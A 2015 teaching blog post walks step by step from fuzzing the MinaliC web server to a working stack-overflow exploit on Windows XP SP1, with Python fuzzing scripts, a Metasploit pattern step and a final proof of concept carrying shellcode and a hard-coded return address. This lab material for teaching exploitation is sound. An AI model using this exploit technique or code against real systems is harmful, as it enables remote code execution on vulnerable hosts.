Monday, February 16, 2015

Fuzzing to Stack Based Overflow Exploit with MinaliC

For the computer science class that I am teaching I introduced stack based overflows.  To demonstrate the concept I utilized vulnserver.exe and mentioned it in previous blog posts.  This lab involved MinaliC.

You can refer to the following web site for the exploit http://www.exploit-db.com/exploits/24958/.  We are going to step through this.  Also the exploit published is for XP SP2 Pro we will be using XP SP1.

1. We first run the MinaliC webserver on Windows XP SP1.  The vulnerable application can be downloaded from the exploit-db.com link above.



2.  Then I am going to use python to connect to the web page to pull down the above page and we will start there.

#!/usr/bin/python

import socket

server = '172.16.102.132' # Change to the IP Address of Windows XP SP1 VM
destPort = 8080

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, destPort))

pageRequest = 'index.htm'
hostInfo = 'test.com'

httpRequest =  'GET /' + pageRequest + ' HTTP/1.1\r\n' 
httpRequest += 'Host: ' + hostInfo + '\r\n\r\n'
s.send(httpRequest)
print httpRequest
print s.recv(1024)

s.close()


3. Here is the output of the above python script showing an HTTP 200 of a successful page was pulled down

GET /index.htm HTTP/1.1
Host: test.com


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 21:37:10 GMT
Content-Length: 349
Content-Type: text/html
Last-Modified: Thu, 12 Feb 2015 21:37:10 GMT
Server: MinaliC
Connection: Close
Set-Cookie: session_id=8GHvdwfQ1u0xGJbMdZi7CT62G5CbxK; test.com

4.  Now I am going to change the python code to begin fuzzing the webserver.  I will utilize the page that is pulled by GET /<Fuzz and see how long the buffer is> HTTP/1.1

#!/usr/bin/python

import socket

server = '172.16.102.132' # Change to the IP Address of Windows XP SP1 VM
destPort = 8080

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, destPort))

#pageRequest = 'index.htm'
pageRequest = "A"*150
hostInfo = 'test.com'

httpRequest =  'GET /' + pageRequest + ' HTTP/1.1\r\n' 
httpRequest += 'Host: ' + hostInfo + '\r\n\r\n'
s.send(httpRequest)
print httpRequest
print s.recv(1024)

s.close()

Output:

GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: test.com


HTTP/1.1 404 Not Found
Date: Thu, 12 Feb 2015 21:41:17 GMT

5.  So the page came back with a 404 of page not found error.  Let's increase the number of A's sent until we see a crash occur.  As we increase the number of A's sent to 250 we then notice that an HTTP 404 is not returned and actually it appears that it hangs the application.



6.  From here we will attach an Immunity debugger to MinaliC and observe to see if the EIP or the instruction pointer is overwritten with A's.  Looking at the below screenshot we can see it is overwritten.



7.  Now we need to be able to control EIP and identify the length of the buffer prior to inserting the A's into EIP.  We will use the /usr/share/metasploit-framework/tools/pattern_create.rb tool to generate a pattern that is 250 characters long and pass it through python.  Then look at the registers and determine the length of the buffer using pattern_offset.rb in the tools directory also.

#!/usr/bin/python

import socket

server = '172.16.102.132' # Change to the IP Address of Windows XP SP1 VM
destPort = 8080

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, destPort))

#pageRequest = 'index.htm'
#pageRequest = "A"*250
# /usr/share/metasploit-framework/tools/pattern_create.rb 250
pageRequest = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"
hostInfo = 'test.com'

httpRequest =  'GET /' + pageRequest + ' HTTP/1.1\r\n' 
httpRequest += 'Host: ' + hostInfo + '\r\n\r\n'
s.send(httpRequest)
print httpRequest
print s.recv(1024)

s.close()

8. Observe by running the above python script you receive a crash of the application and the EIP is populated.




9. Then use the metasploit tool pattern_offset.rb to determine the size of the buffer.


10. With the pattern we now can send 245 - A's and 4 - B's.  The B's should line up in the EIP register.  Then we can send 150 - C's in the host area.  In this example we are curious where the 150 C's will end up.  If we can place our shellcode in the C's and have EIP point to where they are located we can execute the shellcode.  If we look to where the EBX register goes it will read the 4 bytes that it is on and then go to the memory address where the C's will be located.

11. Here is the python code for the above proof-of-concept that was written:

#!/usr/bin/python

import socket

shellcode = (
"\x31\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72" +
"\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f" +
"\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24" +
"\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45" +
"\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7\xcc"
)

junk = "\x42" * 245
# 0x77c18cc8 jmp ebx
# 0x77c194a5 jmp ebx
returnAddr = "\xc8\x8c\xc1\x77"
host = "\x90"*30 + shellcode + "\x90"*31

httpRequest = "GET /" + junk + returnAddr + " HTTP/1.1\r\n"
httpRequest += "Host: " + host + "\r\n\r\n"

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.16.102.132", 8080))
s.send(httpRequest)

s.close()


12. A quick proof-of-concept to demonstrate stack based overflows.

No comments:

Post a Comment

Test Authentication from Linux Console using python3 pexpect

Working with the IT420 lab, you will discover that we need to discover a vulnerable user account.  The following python3 script uses the pex...